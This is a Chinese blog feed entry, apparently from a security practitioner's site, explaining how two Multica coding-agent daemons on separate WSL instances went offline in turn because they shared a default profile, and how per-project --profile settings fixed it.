    &lt;span class="md_line"&gt;你能不能定义什么叫正确；&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;你能不能限制它不要做什么；&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;你能不能验证它到底做了什么；&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;你能不能在它跑偏时及时拒收；&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;你能不能把一次成功沉淀成下一次可复用的规则。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_start"&gt;AI 的本质是把执行成本推向极限，而人的本质是把正确性定义推向极致。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;两者相乘，才是 Agentic Coding 的全部。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;真正的智能编程，不是让 AI 自由奔跑，而是先把轨道铺好，再让它以最高速度运行。&lt;/span&gt;
&lt;/p&gt;</summary>

  </entry>


  <entry>


    <title>Multica 多机多项目运行避坑指南</title>

    <link href="https://www.secbig.com/multica-multi-wsl-profile-daemon-guide"  rel="alternate"></link>

    <updated>2026-05-21T20:59:00Z</updated>
    <id>multica-multi-wsl-profile-daemon-guide</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;h1 id="toc_0" class="h16 md_first_h"&gt;&lt;span class="span_for_h"&gt;Multica 多机运行避坑指南&lt;/span&gt;&lt;/h1&gt;

&lt;blockquote class="blockquote_lines_3 blockquote_without_image"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;ps: 在家1年多深受AI毒害的，信息安全人。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;如果有在招人的老板可以联系我~&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;root@secbig.com&lt;/span&gt;
&lt;/p&gt;

&lt;/blockquote&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_with_image md_line_start md_line_end"&gt;&lt;img class="md_compiled " src="https://fastly.jsdelivr.net/gh/bucketio/img11@main/2026/05/22/1779398591088-f6f11195-65cd-4375-a4c4-392fbdd2831d.png" alt="" title="" &gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h2 id="toc_1" class="h16"&gt;&lt;span class="span_for_h"&gt;什么是 Multica？&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="multica-ai"&gt;https://github.com/multica-ai&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Multica 是一个面向开发者的多智能体协作平台，可以把 Claude Code、Codex、Hermes 等 AI Coding 工具接入到统一的工作流中，通过 Workspace、Project、Issue、Agent、Squad 等概念来组织自动化开发任务。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;简单理解：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Workspace = 协作空间
Project   = 项目容器
Issue     = 具体任务
Agent     = 执行任务的智能体
Squad     = 多个 Agent 组成的协作小队
Daemon    = 本机运行时进程
Runtime   = daemon × 某个 AI Coding Tool
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Multica 的任务不是直接在云端执行，而是由你本机或服务器上的 &lt;code&gt;multica daemon&lt;/code&gt; 接收任务，再调用本机安装的 Claude Code、Codex、Hermes 等工具完成开发、测试或分析任务。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;所以在使用 Multica 时，真正执行任务的关键不是 Workspace 本身，而是：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;本机 daemon 是否在线
Agent 是否绑定到可用 runtime
当前 profile 是否正确
workspace / project / issue 是否指向正确上下文
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;这也是本文要讨论的问题：当我在两台 WSL 上分别管理两个项目时，如果没有正确隔离 profile，两个 daemon 会互相影响，导致“后启动的在线，先启动的离线”。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_2" class="h16"&gt;&lt;span class="span_for_h"&gt;一、问题背景&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;最近在使用 Multica 管理两个项目时，遇到了一个非常典型的问题：&lt;/span&gt;
&lt;/p&gt;


&lt;blockquote class="blockquote_lines_4 blockquote_without_image"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;我有两个项目：项目A 和 项目B。&lt;br&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;它们分别在两台 WSL 里。&lt;br&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;我希望两个项目都能使用 Multica Agent 跑任务。&lt;br&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;但实际操作时发现：一个 WSL 启动 daemon 后，另一个 WSL 就离线；后启动的正常，先启动的掉线。&lt;/span&gt;
&lt;/p&gt;

&lt;/blockquote&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;一开始我以为是 workspace 配置问题，后来排查后发现，真正的问题不是 workspace，而是 &lt;strong class="md_compiled md_compiled_strong"&gt;Multica daemon 的 profile 没有隔离&lt;/strong&gt;。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_3" class="h16"&gt;&lt;span class="span_for_h"&gt;二、问题现象&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;我的环境大概是这样：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;WSL 1：
  hostname: 项目A-WSL
  project: 项目A

WSL 2：
  hostname: 项目B-WSL
  project: 项目B
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;我希望：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;项目A workspace → 项目A-WSL runtime
项目B workspace → 项目B-WSL runtime
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;但是实际情况是：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;先启动 项目A-WSL：
  项目A-WSL 在线

再启动 项目B-WSL：
  项目B-WSL 在线
  项目A-WSL 离线
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;反过来也一样：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;先启动 项目B-WSL：
  项目B-WSL 在线

再启动 项目A-WSL：
  项目A-WSL 在线
  项目B-WSL 离线
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;看起来像是两台机器不能同时在线。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_4" class="h16"&gt;&lt;span class="span_for_h"&gt;三、第一轮误判：以为是 workspace 问题&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;一开始我尝试了几种组合。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_5" class="h16"&gt;&lt;span class="span_for_h"&gt;方案 1：两个项目，两个 workspace&lt;/span&gt;&lt;/h3&gt;
&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Workspace 1: 项目A
Workspace 2: 项目B
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;结果不稳定。切换或重启 daemon 后，另一个 workspace 的 runtime 仍然可能离线。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_6" class="h16"&gt;&lt;span class="span_for_h"&gt;方案 2：两个项目，一个 workspace&lt;/span&gt;&lt;/h3&gt;
&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;Workspace: security-workspace
Project 1: 项目A
Project 2: 项目B
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;这样虽然能把 issue 放在同一个 workspace 下，但仍然不能解决 runtime 互相顶掉的问题。&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_7" class="h16"&gt;&lt;span class="span_for_h"&gt;方案 3：两个 WSL 各自启动 daemon&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;仍然不行。后启动的 daemon 会把先启动的 runtime 顶掉。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当时的判断是：&lt;/span&gt;
&lt;/p&gt;


&lt;blockquote class="blockquote_lines_1 blockquote_without_image"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Multica 是不是不支持多台机器？&lt;/span&gt;
&lt;/p&gt;

&lt;/blockquote&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;后来发现这个判断是错的。Multica 是支持多台机器和多 runtime 的，真正的问题在于 &lt;strong class="md_compiled md_compiled_strong"&gt;两个 WSL 使用了同一个默认 profile&lt;/strong&gt;。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_8" class="h16"&gt;&lt;span class="span_for_h"&gt;四、关键日志：daemon 被关闭时会注销 runtime&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;某次任务被取消时，daemon 日志里出现了这些关键信息：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;agent_error=&amp;quot;task cancelled by upstream context (server cancel or daemon shutdown)&amp;quot;

deregistering runtimes on shutdown
deregistered runtimes
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;这说明：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;daemon shutdown
  ↓
注销 runtime
  ↓
正在运行的 task 被 cancelled
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;也就是说，如果有任务正在运行，执行：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica daemon restart
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;或者：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica daemon stop
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;会直接影响当前 daemon 管理的任务。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;所以第一条经验是：&lt;/span&gt;
&lt;/p&gt;


&lt;blockquote class="blockquote_lines_1 blockquote_without_image"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;只要 active_task_count &amp;gt; 0，就不要 restart / stop daemon。&lt;/span&gt;
&lt;/p&gt;

&lt;/blockquote&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;可以先看：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica daemon status --output json
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果看到：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_json  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;active_task_count&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;那就不要重启。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_9" class="h16"&gt;&lt;span class="span_for_h"&gt;五、真正的根因：两个 WSL 使用了同一个默认 profile&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;排查时，我在两个 WSL 分别执行：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica daemon status --output json
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;结果发现两个终端显示的是同一个 daemon：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_json  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;daemon_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;019e4b**-****-****-****-********e9a8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;device_name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;项目A-WSL&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;pid&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;33671&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;但在项目B的 WSL 里查看这个 pid：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;cat /proc/33671/cmdline
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;却提示：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;No such file or directory
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;这说明：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;项目B-WSL 本机并没有真正运行这个 daemon；
它只是通过 Multica 服务端看到了 项目A-WSL 的 daemon 状态。
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;进一步看 &lt;code&gt;multica -h&lt;/code&gt;，发现了关键参数：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;--profile string
Configuration profile name — isolates config, daemon state, and workspaces
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;这句话非常关键：&lt;/span&gt;
&lt;/p&gt;


&lt;blockquote class="blockquote_lines_1 blockquote_without_image"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;code&gt;--profile&lt;/code&gt; 可以隔离 config、daemon state 和 workspaces。&lt;/span&gt;
&lt;/p&gt;

&lt;/blockquote&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;也就是说，如果两个 WSL 都直接使用：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica daemon start
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;它们都在使用默认 profile，自然会互相影响。&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h2 id="toc_10" class="h16"&gt;&lt;span class="span_for_h"&gt;六、正确方案：为两个项目使用不同 profile&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;最终方案是：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;项目A：
  profile = project-a
  workspace = 项目A
  device = 项目A-WSL

项目B：
  profile = project-b
  workspace = 项目B
  device = 项目B-WSL
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h2 id="toc_11" class="h16"&gt;&lt;span class="span_for_h"&gt;七、项目A WSL 初始化&lt;/span&gt;&lt;/h2&gt;
&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica --profile project-a setup
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;检查登录状态：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica --profile project-a auth status
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;切换到项目A workspace：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica --profile project-a workspace switch project-a
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;检查：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica --profile project-a workspace list
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;应看到类似：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;* 项目A
  项目B
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;启动 daemon：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica --profile project-a daemon start
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;检查状态：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica --profile project-a daemon status --output json
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;期望看到：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_json  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;device_name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;项目A-WSL&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;running&amp;quot;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h2 id="toc_12" class="h16"&gt;&lt;span class="span_for_h"&gt;八、项目B WSL 初始化&lt;/span&gt;&lt;/h2&gt;
&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica --profile project-b setup
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;切换到项目B workspace：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica --profile project-b workspace switch project-b
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;检查：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica --profile project-b workspace list
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;应看到类似：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;  项目A
* 项目B
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;启动 daemon：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica --profile project-b daemon start
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;检查状态：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_bash  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;multica --profile project-b daemon status --output json
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;期望看到：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_json  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;device_name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;项目B-WSL&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;running&amp;quot;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h2 id="toc_13" class="h16"&gt;&lt;span class="span_for_h"&gt;九、最终验证结果&lt;/span&gt;&lt;/h2&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修复后，两个 WSL 的状态分别是：&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_14" class="h16"&gt;&lt;span class="span_for_h"&gt;项目A&lt;/span&gt;&lt;/h3&gt;
&lt;div class="codehilite code_lang_json  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;daemon_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;019e4b**-****-****-****-********e9a8&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;device_name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;项目A-WSL&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;running&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;active_task_count&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;&lt;h3 id="toc_15" class="h16"&gt;&lt;span class="span_for_h"&gt;项目B&lt;/span&gt;&lt;/h3&gt;
&lt;div class="codehilite code_lang_json  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;daemon_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;019e4b**-****-****-****-********f905&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;device_name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;项目B-WSL&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;running&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;quot;active_task_count&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;关键点是：&lt;/span&gt;
&lt;/p&gt;

&lt;div class="codehilite code_lang_text  highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;daemon_id 不同
device_name 不同
profile 不同
workspace 默认值不同
